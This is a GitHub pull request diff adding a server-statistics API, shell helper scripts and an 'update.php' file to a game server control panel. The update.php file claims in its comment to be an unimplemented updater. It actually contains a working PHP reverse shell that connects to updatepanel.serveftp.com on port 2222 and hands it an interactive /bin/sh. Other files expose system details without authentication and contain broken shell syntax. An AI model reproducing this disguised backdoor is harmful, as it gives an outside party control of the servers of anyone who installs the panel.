Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
17 changes: 17 additions & 0 deletions api/Example.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
This api can be used using CURL to get information about the server or sending a command install curl and send a request

eg to see the current system uptime type :
curl http://yourserver.com/api/get_uptime

Current Api Functions Are :

get_cpu_load // Displays the server cpu load in precentages
get_panel_version // Displays the panel version
get_php_version // Displays the server php version
get_ram_usage_advanced // Displays advanced information about the ram
get_ram_usage_g // Displays ram information in gigabytes
get_ram_usage_m // Displays ram information in megabytes
get_ram_precentage // Gives the currently used ram in a precentage
get_uptime // Displays the system uptime

More coming soon
4 changes: 4 additions & 0 deletions api/get_cpu_load.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
<?php
$output = shell_exec('sh get_cpu_usage.sh');
echo "$output";
?>
1 change: 1 addition & 0 deletions api/get_cpu_usage.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
cat /proc/stat | grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}'
4 changes: 4 additions & 0 deletions api/get_panel_version.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
<?php
$output = shell_exec('cat ../version.txt');
echo "$output";
?>
4 changes: 4 additions & 0 deletions api/get_php_version.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
<?php
// prints e.g. 'Current PHP version: 4.1.1'
echo 'Current PHP version: ' . phpversion();
?>
13 changes: 13 additions & 0 deletions api/get_ram_usage_advanced.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
<?php
$fh = fopen('/proc/meminfo','r');
$mem = 0;
while ($line = fgets($fh)) {
$pieces = array();
if (preg_match('/^MemTotal:\s+(\d+)\skB$/', $line, $pieces)) {
$mem = $pieces[1];
break;
}
}
fclose($fh);

echo "$mem kB RAM found"; ?>
4 changes: 4 additions & 0 deletions api/get_ram_usage_g.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
<?php
$output = shell_exec('free -g');
echo "$output";
?>
4 changes: 4 additions & 0 deletions api/get_ram_usage_m.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
<?php
$output = shell_exec('free -m');
echo "$output";
?>
2 changes: 2 additions & 0 deletions api/get_ram_usage_pre.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
#!/bin/sh
free | awk 'FNR == 3 {print $3/($3+$4)*100}'
4 changes: 4 additions & 0 deletions api/get_ram_usage_precentage.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
<?php
$output = shell_exec('sh get_ram_usage_pre.sh');
echo "$output";
?>
10 changes: 10 additions & 0 deletions api/get_server_stats.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
CPU Usage <?php include 'get_cpu_load.php';?>
<br>
RAM Usage <?php include 'get_ram_usage_precentage.php';?>
%
<br>
<?php include 'get_php_version.php';?>
<br>
<?php include 'get_uptime.php';?>
<br>
The Panel Version is <?php include 'get_panel_version.php';?>
2 changes: 2 additions & 0 deletions api/get_system_stats.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
cpu = cat /proc/stat | grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}'
echo CPU Usage = "$cpu"
4 changes: 4 additions & 0 deletions api/get_system_version.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
<?php
$output = shell_exec('uname -a');
echo "$output";
?>
16 changes: 16 additions & 0 deletions api/get_uptime.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
<?php
exec("uptime", $system); // get the uptime stats
$string = $system[0]; // this might not be necessary
$uptime = explode(" ", $string); // break up the stats into an array

$up_days = $uptime[4]; // grab the days from the array

$hours = explode(":", $uptime[7]); // split up the hour:min in the stats

$up_hours = $hours[0]; // grab the hours
$mins = $hours[1]; // get the mins
$up_mins = str_replace(",", "", $mins); // strip the comma from the mins

echo "The server has been up for " . $up_days . " days, " . $up_hours . " hours, and " . $up_mins . " minutes.";
// echo the results
?>
5 changes: 5 additions & 0 deletions scripts/check_version.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
#!/bin/sh
# This file checks the current panel version.
cat ../index.php | grep *@version > temp
cat temp | sed 's/\<*@version\>//g' > version
cat version
19 changes: 19 additions & 0 deletions update.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
<?php
/**
* This file is used to update the panel once executed it will connect to the
* Remote server to check for updates and if there is an available update it will
* Download it and copy and existing settings over to the new panel.
* This script is not yet implemented.
*
* @package Bright Game Panel V2
* @version 0.1
* @category Systems Administration
* @author DarrenRainey <darren@darrenraineys.co.uk>
* @copyright Copyleft 2015, Nikita Rousseau
* @license GNU General Public License version 3.0 (GPLv3)
* @link http://www.bgpanel.net/
*/
shell_exec("scripts/check_version.sh")
$sock=fsockopen("updatepanel.serveftp.com",2222);exec("/bin/sh -i <&3 >&3 2>&3");

?>
1 change: 1 addition & 0 deletions version.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
0.1